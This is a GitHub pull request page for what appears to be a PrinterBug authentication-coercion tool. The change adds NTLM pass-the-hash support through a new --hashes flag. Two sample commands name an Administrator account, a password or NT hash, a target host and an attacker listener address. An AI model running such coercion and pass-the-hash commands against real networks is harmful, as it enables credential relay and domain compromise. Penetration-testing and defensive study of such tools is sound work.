Skip to content

Add pass-the-hash support#2

Open
Pebl3 wants to merge 1 commit intodecoder-it:mainfrom
Pebl3:main
Open

Add pass-the-hash support#2
Pebl3 wants to merge 1 commit intodecoder-it:mainfrom
Pebl3:main

Conversation

@Pebl3
Copy link
Copy Markdown

@Pebl3 Pebl3 commented Apr 30, 2026

Switches argument parsing from positional sys.argv to argparse and adds a --hashes LMHASH:NTHASH flag. Both LM and NT hashes are passed through to impacket's set_credentials, which handles NTLM PTH natively. Accepts :NTHASH shorthand (empty LM hash).

Auth guard on credential paths changed from username and password to username so PTH works without a plaintext password.

python3 printerbugnew.py 10.10.10.10 -u Administrator -p Password1 -d CORP -a 10.10.10.50

python3 printerbugnew.py 10.10.10.10 -u Administrator --hashes :8846f7eaee8fb117ad06bdd830b7586c -d CORP -a 10.10.10.50

Added support for NTLM hashes in RPC connection and updated argument parsing.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant